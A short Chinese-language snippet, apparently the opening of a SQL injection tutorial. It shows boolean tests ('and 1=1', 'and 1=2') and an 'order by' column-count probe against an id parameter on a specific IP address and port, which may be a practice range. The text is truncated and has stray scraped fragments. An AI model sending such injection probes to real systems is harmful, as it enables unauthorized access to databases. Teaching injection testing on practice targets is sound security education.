SQL注入 (1)

第一步：测试是否存在注入点，用and语句测试。数据库 http://120.203.13.75:6815/?id=1 and 1=1  http://120.203.13.75:6815/?id=1 and 1=2 一网址能够正常显示，二网址则没法显示，因此推断有注入点。测试 第二步：猜想字段3d http://120.203.13.75:6815/?id=1 order by 2orm http

>>阅读原文<<